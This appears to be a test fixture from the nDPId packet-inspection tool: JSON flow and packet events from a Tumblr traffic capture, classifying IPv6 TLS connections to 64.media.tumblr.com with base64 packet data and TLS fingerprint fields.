+00456{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2797,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292108,"pkt_ts_usec":796448,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdEkHBrmkkNzeZgBALy8PxAAABAQgKwt2r7al1DgU="} +00456{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2798,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292108,"pkt_ts_usec":805587,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdAmJNSY8GjqSkgBAMILKCAAABAQgKwt2r9ql1FBI="} +00507{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2839,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1605292108895,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::c000:4d03","src_port":56842,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2839,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292108,"pkt_ts_usec":895208,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gCOgvACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAADAAE0D3goBu3qld1IAAAAAoAL9IHkiAAACBAWgBAIICgXJqEYAAAAAAQMDBw=="} +00468{"flow_id":20,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2848,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292108,"pkt_ts_usec":917845,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAMAATQMqAcsBIEmLB5kd7IUo3\/YpAbveCh3iVUV6pXdToBJXgDxxAAACBAV4AQMDAwQCCArC3axnBcmoRg=="} +00454{"flow_id":20,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2849,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292108,"pkt_ts_usec":917920,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCOgvACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAADAAE0D3goBu3qld1Md4lVGgBAB+8BsAAABAQgKBcmoXMLdrGc="} +01150{"flow_id":20,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2850,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292108,"pkt_ts_usec":918360,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gCOgvAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAADAAE0D3goBu3qld1Md4lVGgBgB+1S7AAABAQgKBcmoXcLdrGcWAwECAAEAAfwDAwjhV3OqKqFQfpcnWP89rtumm\/UccggvWkyi\/8FQZPWxIDvu3xcXjzuK8OGeiJCkn4luO5ref2KxaCnpVBkTuZCrACAqKhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZPKygAAAAAAGAAWAAATNjQubWVkaWEudHVtYmxyLmNvbQAXAAD\/AQABAAAKAAoACFpaAB0AFwAYAAsAAgEAACMAAAAQAA4ADAJoMghodHRwLzEuMQAFAAUBAAAAAAANABIAEAQDCAQEAQUDCAUFAQgGBgEAEgAAADMAKwApWloAAQAAHQAgZaSQBi71IH\/A5WZQ4IeqmtWtcLONPQZBNc11j5iQXXAALQACAQEAKwALChoaAwQDAwMCAwEAGwADAgACuroAAQAAFQDJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00831{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2850,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":4,"flow_first_seen":1605292108895,"flow_last_seen":1605292108918,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::c000:4d03","src_port":56842,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Tumblr","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"64.media.tumblr.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00456{"flow_id":20,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2860,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292108,"pkt_ts_usec":948507,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAMAATQMqAcsBIEmLB5kd7IUo3\/YpAbveCh3iVUZ6pXlYgBALMLUWAAABAQgKwt2sggXJqF0="} +02361{"flow_id":20,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2953,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292108,"pkt_ts_usec":973288,"pkt_caplen":1486,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1486,"pkt_l4_len":1432,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABZgGPQBk\/5sAAAAAAAAAAMAATQMqAcsBIEmLB5kd7IUo3\/YpAbveCh3iVUZ6pXlYgBgLMFeiAAABAQgKwt2skgXJqF0WAwMAegIAAHYDA70pP1kmftv264MZuYHw5WZTCVuFWP8Mhj6OXJJTeVwtIDvu3xcXjzuK8OGeiJCkn4luO5ref2KxaCnpVBkTuZCrEwEAAC4AKwACAwQAMwAkAB0AIDKxiM2DA\/nBK7WTiEd\/k4U7BNMQxZZ7ttlE5VYbumFSFAMDAAEBFwMDACTxHQ9uNJ9KokvqQOm2Jep1lStPj6xxMqtFSrBzubQPiJBk9p0XAwMT5jIB5CX6dEENs2yf\/G\/LwkNH+l1xzF5J9b6RCBqoQKggF5RDSlwhcUYs4oOikpnq0CnXYaeCH270v5Oi3Q+AR2wwYTG9sxDpqo3mmABHMhKSHuHioreE3DgcQ31CrbedudaqWdrHJe5ikdo7Kg1lcGvnY+2WLk0\/GOEbSYwXimLlYFOi2AZ0mSzTWlglXfflzQoxo6nTmIuPF8o9K\/sTZrPkreo5h+QlaPUGZwPLQ2PcSVwN2HTsl+9xrwwK0aayUCoyYQ0ne9CHcAc01xGD8i+gs+nIJKLYUBoOVEE1S6Py4Yb52IUQlFx+7nln4xPQh3lq9Y9y9X99ejzOZ4MTF4OJcrM81Mp2bOz1J2E43AHWvfh\/5U2Y23NEDKG+F6GhSh0q5yp4xodiT09PB\/9Q6npHI7bXJheGlhcZIw37Fkf\/e2aIWpecJTwHWiBsBMv3iTwsRQrwJhjsBOR8Ta\/+NrusRaxIbGlD6TZpxW0bbBipgl7efFJI+2dS2noq\/RTp32LTZjTdvEoJna9k4YObHvoyhTosCgjJ8MMv9V+iYhDh5fG87AQ7G1pP3qze8uffLulac2CpNl\/EFnoTJcM3u\/JsfxhFFR8BVp\/3s313hOgr2Q2Y8NJMGCC\/QvIw2dNdZz4x9p42AdS7gdPme4lMaRBUxP\/ETJqAfgtHCfl4lms\/nO8hyngXLrNW1VMB2IIq6v65KjSQUi14Bi19Z4P+AO78YplhUiMbdPgsVj22RDcD5d7Ev2LY7tdjh8c+Sl1dNNlN6\/GLDElFt2Rx5e97Qavbz6xFRfWiHiQkgmrDUUfqco7P\/wqcB9aXLu7wPJ6BTHUQ32C\/8RYynxurOjvhWFYhWT\/NhDx+foqWrl8O7oSBrKn41eBhGMwKNe3bauzMFTmxO7NoZfE5FUSRxsYC3B0ktI\/EelK6Dno7gwvD\/sUb\/q+tdagVFIpHGKCkXlDvsMYA1MIz1ZmhAv6WSlDW9TOhclRR+so7107vSG5m11sprf1SQGw1ZUB3aHnKD8dtWup6wkngaAynZX74Mas4\/LCySYu3L5nru1DwoFIS1BcPhJ7Hfd6z8NRvBgr0uvOzKeJyIJIhfRyJqfORFJTdFlVcMdaFe9BWfLOUPGMd726mwDewxXe3dR4J2xDk92WGGVSnPCiPr0OKgMOJDHi1a5GxHmkhbph1a3jLV8Y8SZj\/wlO5wmDOkg5vizSEjbXvVLozcHsbSufvHRCCk9AlolUegT05jCYxfh9Sp8l+co6bQatO\/CPMVA5\/ZP8uRvc2rl2vC0Cllfm2F+r5Skzm0s5xPoE\/RBTPfzQDH5pBE9HDzH9gt1eQ3H75NzGx9UIljizhdgKy\/PWXU7AtfkVPk+mjwhpynMNyH9IjP+kyM19XMAJXIpAwU3QHS0W5PIO3TQCHFEcKLBrbbDgHIhXAWf+LmjYOTHqB5Vvc3oab7+97jSo9ewXZXFfraVmO2mK7QLLwZ7XYMghHmkOykIIKHPTkDnY6wpq8jShrDEcsOFcuzmCFny8jUboWMsR0LDTyXYFHak+7tFjDyVqomKfyE8D6GRSUHoEA7b7sKkIQ7a6+Sp3NKchBa0uvj4zQZW\/H9j97b7i6IE0iTBkyU1hprFrZDqIDQw=="} +00872{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2953,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":6,"flow_first_seen":1605292108895,"flow_last_seen":1605292108973,"flow_tot_l4_data_len":2125,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1432,"flow_avg_l4_data_len":354,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::c000:4d03","src_port":56842,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Tumblr","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.3","client_requested_server_name":"64.media.tumblr.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"f4febc55ea12b31ae17cfb7e614afda8","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02355{"flow_id":20,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2954,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292108,"pkt_ts_usec":973288,"pkt_caplen":1486,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1486,"pkt_l4_len":1432,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABZgGPQBk\/5sAAAAAAAAAAMAATQMqAcsBIEmLB5kd7IUo3\/YpAbveCh3iWr56pXlYgBgLMFeiAAABAQgKwt2skgXJqF0GAbtn1qvgn2PsKLIBKysp55uEBQ\/O4+S82E8EYj2mTlN2dzpe8isTnFljju+RROMiwHuQCHLmG5AT8yGydCtxtLde4sxTaA2tMCu4Engm1ei7hSz+TZW13LMPghQrC0WxinXhUFfu421cy9p7DhiBaZbbkbbeO2Oax4lPBW1WvtRzLjfkSXcv753+PD6oTeFlSHy52ZcZ\/OHBz5tGFRqMknFy8cs3byN\/edZUKEHuk+E3IeEOsRmXAtFBJou0v7vHX7r7AJSBM3IHuU0v5w6IvRxhtsT+pHO2Veg8W9OFJW9gcb\/Syv15v4M02hVFy0xE87xphcxY3R1NuwxpHidNAWag0nlaFTDYW7b1KqTU\/9N51U3zIda68WHXZCuCSWVcZ1koMYdBxUYXd4Neib5kQjvW8LGlicivzl8Enl80KdIQEGXQjIpjvksD75ShCIvpvSu2J8U8uWC5uJH1mJGGZwKAJ\/WBqbmJdDam3DbA68l1EiBcLnL1h\/+DONPxQjcN2GJ4e+MW1f9y02j5DGXPIuvpTQ7F3DNOxBPFm2KRXjJI8ucqTAU0e7CLkn7z8fY3aEOzM5X8cMGn9rBZIUtmMQNjCRctxLnaGpvBMBxkA\/Dx6HC35qraTxyk+o39\/Y2vL7+MD7dxZEsWqzTdT9ktrSHsurPplwuz0Dlo\/9ZovPAz8l5Md7UhfGLQyVoNUSWo6p1DGiQLuXKvrI2h5c\/3vt+\/H6pCgCUU3E5RE4Aof9dPEAHF96O7lxYtTceP5c4FOJC+6oqgDGbbUJBxD7JhCCrapBS1TvozNVUdSHmefTqTBj0HniQ6zHevrrJED+32tXJYfhVOQXToKnx4fxxPnDnNoid9m1DCCwihJh8rEYksyer6bKmTOoWBS74cHB2zhVinoq20bWujhikXBK2O+4K7pgfk6GYS3jIW5BIuL5Cgb4nbuRe6T+8jS+FisMYfxv8TJdJhW3vGJPjet7nwEY+9Blebtj6xTnLbqm1GkADnTkkGVD3jxsrpKqMKuResojVQ7Wm3zFa9dUPpVYLnJvRIefo7mpEfTon4Zd08lv9rcfUBxHx5mAqSrM7Q5pX25VaCThTa2LA117s2iaL\/xGNlVNKuD+2\/ISSCi1gW1Wu5qN8uTnLcGKeDaBp6hrTb\/JRUyM7H3JDht\/7y0WLdzs+3hQsPYmbbUtpi5X\/N+DuCIb2KjoWAZwHYrGmu6enRYrj5CFevnAJUHVZnewDZaJV7zFyIObac2v3sFpwpPLjxbzp\/iycuMViVh\/Jm51LMItM+TQnWuGTUx963+9jeKwkd\/4axFz1GdrVx\/xzEEGzots1tRtMundcCAputJJtd1UAALCHuoOFwKmZTcQ1g4\/jUx1+gCCrEdeSzskrSk230gkI\/REuH6Tn+s26ybtBJ+ij+3Mph80lAJucaVNVxSucbFYbUyUbJC9eFd6h0O1OXnoLGKncdy2LhN8CKQErAT6qv7iCwv0IzfU\/0pzLhqITqz+iNJcmlQ0jphTsQCBW0ziR5VOlOCHJZlFji2KK1zt\/bLx6Dy7rUKAHD4DA1uF+ZmI8GM47JxVTb4uXUN0zqv7I6sDLj2KeLSscpz7P2VcNfCT7kYFK475LGufjK6KiImbvLs4+owYhrMBDAJlYmul4YI3DH9pyDXOs1qhQBUD2D9SDRE99p91ypnb4zXXtJsWX6D74dv9bMLx+5E9CnVy3ktMFprKruMbFxqJth0k2QKhG4ko13RQGcqSusMN9bHUtR3SltlB22AAx0zmNpdv5DplfTh3YaB1R7kOCvfbYVK0U4MThXktGHwtHRj7TH5tvYnPe3hy6CZP7PUcsgZRKQOyFk02JeoW+uYwOm7LNUWsbsUA=="} +02215{"flow_id":20,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2956,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292108,"pkt_ts_usec":973289,"pkt_caplen":1382,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1382,"pkt_l4_len":1328,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABTAGPQBk\/5sAAAAAAAAAAMAATQMqAcsBIEmLB5kd7IUo3\/YpAbveCh3iYDZ6pXlYgBgLMNozAAABAQgKwt2skgXJqF1Gc0ycEvpq1f5FEZe5ghZ5y0LnLomsYTTyVZyIDc6r1edevCyEULRvwsgmJ6uf1BnCO3zqCDVzCAybSiMW1HetYfHoy+xh6XDa+kAFY38HcL9s325V59huCcvmgRBILjFs0Ub7EY9oBwHjXeBPxnZ6YZiiMHsTvL2+EnDUhvuBAD\/BplyyGVMMrK115kh+w3AFEJfB1OlI5S2soQMZ\/lyONYnQvVj0I14WlgXHByAdv7gRephB0uJvBL\/9x\/W3ZCNwSSxbwkgtIgehpUILJMEQ37oWoXN\/nKI2hz2NeEu83s\/H6wgXPeHJmu8Wg6a9KRsdmgDohHGdlUw6rYrk\/D3OuqLL8AmuYngrG0rliDpV8AGE\/XIDllACZXRcA4C3kQsuVnwpJqRKAxylaQkuI2s\/Lz+4otg+QLLuEUWSuzMtYZCyv5bZfRb4dkCQa4izKuB+IceJC4LCh5lxyFx5tfYCFrNMHzj4igFdRxLxmyOaN2\/aklYS6VEnbzD2tUyPj1v0u26OAmwya53SGFP8ius9sxv75S5vCMT5qJrK0ApiNfNV0ulYCWdV3yIrbV2trmSvU2BYpr2iHCqVi1L1tEC9aQDbpUQSZ9QTaXw4nUo2+ccJfaCXsrYkTuZlVoh0fsWoK3n+urkahtOlGhlI1dhF3BDoMxV4oWhawRgC9MPUgL+00P7lpoRtNUrLKKuGSEkhrT4O+3gL5j3Ze44fMGv2sQ0Ao2Xmx+c9iM5Qix7OyVMu3RaBKeYgQ3Kmv6hUMRKv\/8ZaHLmAhhzDTqMtd3pem9UEFlXFXKDylSnThS8dmgfi1tx9kHSjMWKTHPJFEzark8\/wdetZsEsFXxf1H9mE7L58Rb5YhNmr2VNNG3uhzv0baCdfVm\/8emMLSH4QpjV1j1kMN\/T+A5DeWvDepwvM8dAXnAuYkKitZcwIsMa\/UjsPLZxdMO74lcXkmLGnOvu6Yy7I0fHPOs8R4OfbgzF+nyOQC5Q9SwBUCKzfXT9o86wpwiuQVNgWtO9kNqBmrCcsB+ibR48THeLzDLrOQvLjszx27F3jfZZKjlrOcaxRd5dcen1PXYgg88r9rP3C3bufhm8VzyivF8oCkZwn8GY2UULn9yuEEM+X8vYYkTMc4B8CjdGpqKRCdOwG0uj2AN4MCa7aleRS+45Lh4aOz4tTMA0oXxzs3FhbYzBXIPQr41rHKZ4Mi+D4cRYpWDot0zhaCzqa5q5kpB5vimUAxFL+MGza77Hwrkk\/YkVnJb3U6980qbEjC9gFngLckXfdT38xC1+pEDiMQVlN96gLbytvU60GfWFlkx+Q\/IqxQwNlk\/8qJuyeNa995WcPsVCrpYu1ku\/s\/u1rJRIMGzQGKok+6ztMfX6FemrYPZLQsF9ogjuH1rhMQxZ1DtH65HYpxm\/chHoMuhSxBKInFva06yTVbZqHmzniffM0lp0QED2TtecLZ6txh2WnRrVWfpnBDfdK0JTRIQx7mXa5BKuvWqzLKbE7k1JaDeFnCpqbyKHo3Uq4X2ovFnDuTScPHgN9IBeG\/WJa+kY7fcJVIkCoInfdE5fL5wGeUo9BX4Pu5ONmgLwEfe64UnlGdf75zh13pQMWhwyqeW+R\/3uxE2U0I4nXEPD+xqURhdvcCIGg+0tZdQ68dgR621YhkwYi\/AaxX5TVpwmgERA8KcNJi7lDRKhYoslF4tH0grmNv85iY3J21My2q3H\/Gu1qm+f0ejymX7w="} +02372{"flow_id":20,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2959,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292108,"pkt_ts_usec":973290,"pkt_caplen":1486,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1486,"pkt_l4_len":1432,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABZgGPQBk\/5sAAAAAAAAAAMAATQMqAcsBIEmLB5kd7IUo3\/YpAbveCh3iZUZ6pXlYgBgLMFeiAAABAQgKwt2skwXJqF3laAyriXRslhE0wdNwnaDEPBX3b4TElq6NdXEBiwGN3ZSjDzP\/RqKe238dOHWM7uvgmErcJyDspglwuVrF+mkwnyOK8NPYh\/ITPd0AVr5cycvm1KP9PanCJZ+PHjkYvlM00IwuLM2WAZqQ9LQKLIFhk1Vuut\/UvTnQS98kvk+66JQZ5t93hGhQ1SEmgDjEWhs3lkV5td1FRMmPicdlnTxs39gcBvo4ORR5EM+uuJpZvUgT\/mOvgqYJuJ\/MCkmLaqgfpJa3B\/W6DHKN9+2H2exd0mbn2Jto\/FgmyJuMSEwXQiwdD6PnPoyNlFM2pHMK0sOQACgwZJyP4BkiPr3Ai\/sNXBRe+\/ko3P\/OiHQgWg48Tjo5yvVJsDJ7FhNU5HauSO5IqobKd+qwmyO9aC3EpZdTwXpVt5HitExBhtPb6\/\/kd3sevI1vwYDfpJxuY24km2qrRk5sGYC+hJHrWDKczfLo2fOZf4diEYKCGmY6R7kAVPaLASinBrfCm1dZi3CRww9CesZ80aRwHKZ4X7LVdA9obja7RBnn\/ChGj1sb1O6tM9jAuKmAPASNFv55sGDWJDatzEtQI1jpyExCn7zPUNBUqC8Dx+Z\/27lGtN3BGtds4TW+HAiZRYn3LAjGHyfaThogXdAgpAP3BIXg\/9zVjP88wPx+W\/Za+F5baTggy7\/GsEmyXGqJvc\/vyExzx9xCDHHsNmkRIHTmo\/TbDKd6M7KNhEwINHgbden+VMWIgmQjGAu2rFse93tKrSmFvnIdZh0fxzMG3tomdHsVjrgQNwnHV4lP6bErtkfl3k4A7enIARsVvm166x\/xlXA6TX5I6YNPyH2SSO3VXCEYeGGq6YtNi9nbi8Yx0Qjeuo79hR4\/Ep1zyYwiyeeXltLK67nsL6\/neEgRHwfklzPLBFqWJIU7IVGrnzEtlG9xfPTb2clyUgMQ\/17wsYMMczvZdoB5ErJWNEKXFvTmxGw3\/DncVjs8xKLKtwSNEgMpqAwOXPdrERMH2nLKnAMFNjgOxKqWluDeNzLcqRaiQcPuj4eO1KC8ABClkun\/kJMURSUNFPXcfkECTmjsYHUmV\/JCb\/2Oor7TT4bbOJ2mU2Q\/kKkljoVGCb8hUQL9vL15pqeQLGdjzX1lEYfLn4sYZeKhyHwvfSWAVgh6uBj4K\/ch2AmqrOjvwo9CYEU0iuUnUmRkbD6zM0nYfEptNb\/ujThNIjwos3WFk4sDTJE1Qt0bLWf3+Ur7+QBVIZ6VwDY86vPnxru+T0e0wsdhE6wzJVROZ6N1iKePXzq9z\/MLHAvgdVxxoo1zF9CiKYHL2cV+OTCgYgf8C8CZrvoLMgOkWpsNjR\/OQaNNFWTUzDiQ6ouPxgvKMN3SEB0EVe5WOdaTHLFsjso2hdh\/BepRUnQDPq5\/7EqPwv\/BM0y4G1V+WcrwLlWBmfTu4k2Lq08rKx9vuj+zwThKJahM5oP0HmEsn+ArFJDDHCDN9WuIogCBhMsFaYEHjcWb7N3qqohcJRj9Dz81W3Gdzv3Hkt2PSKwDb7uvZvkgjVaasT6CLam5eFAmS2Wm2ZyT04nvc\/t81uMPFwMDARnGmUv\/bDc3J0EntcWWKTj+P9YZg\/axb8aaAlOp8csPpPl8LB1fzsOFFALqRVixOsKKbqL1qfXRXkUIDuSNgbd5oWAg1lm3m5pCF3R2r\/N5t\/zn8f6rngVPlgbazPWgsOtgIqqPF46t0YLmU\/6RsPrH3WdZ2tu1yAQUKNjxrRCmvjOFa6dJM\/N8p+SIgLIq+wxKTCE3+hDU2e+9vjFQboB170WnbvSjFobVd7jBqzLCQlZvOMdICypTORWqsB9TXsbmzuPpYC7z3oHCpyGK30L11uEvcb476u8wmg=="} +00455{"flow_id":20,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2960,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292108,"pkt_ts_usec":973301,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCOgvACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAADAAE0D3goBu3qleVgd4lq+gBAB9biSAAABAQgKBcmolMLdrJI="} +00455{"flow_id":20,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2961,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292108,"pkt_ts_usec":973311,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCOgvACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAADAAE0D3goBu3qleVgd4mA2gBAB7LMjAAABAQgKBcmolMLdrJI="} +00455{"flow_id":20,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2963,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292108,"pkt_ts_usec":973318,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCOgvACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAADAAE0D3goBu3qleVgd4mVGgBAB5a4aAAABAQgKBcmolMLdrJI="} +00455{"flow_id":20,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2964,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292108,"pkt_ts_usec":973322,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCOgvACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAADAAE0D3goBu3qleVgd4mq+gBAB3KiqAAABAQgKBcmolMLdrJM="} +00623{"flow_id":20,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2966,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292108,"pkt_ts_usec":973326,"pkt_caplen":207,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":207,"pkt_l4_len":153,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAJkGPQBk\/5sAAAAAAAAAAMAATQMqAcsBIEmLB5kd7IUo3\/YpAbveCh3iar56pXlYgBgLMPWuAAABAQgKwt2skwXJqF3dQZ2u0hZVMK2JTI\/oFQ\/CE6QjQFrqVFn3uSmal27pWs0HSft70tl8AjCpJKIcXreVsA8qdRsG3X2K6BjQF+MXAwMANbbqCnCiZcHsKWXvS4vd4w1cP0laWKmE3ONxdUKDAkfC+k5H4FZ\/7gcgUl5YG6uiG7lVUDYX"} +00455{"flow_id":20,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2967,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292108,"pkt_ts_usec":973329,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCOgvACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAADAAE0D3goBu3qleVgd4ms3gBAB3KgxAAABAQgKBcmolMLdrJM="} +00527{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":12579,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1605292102602,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:789d","src_port":48240,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"}} 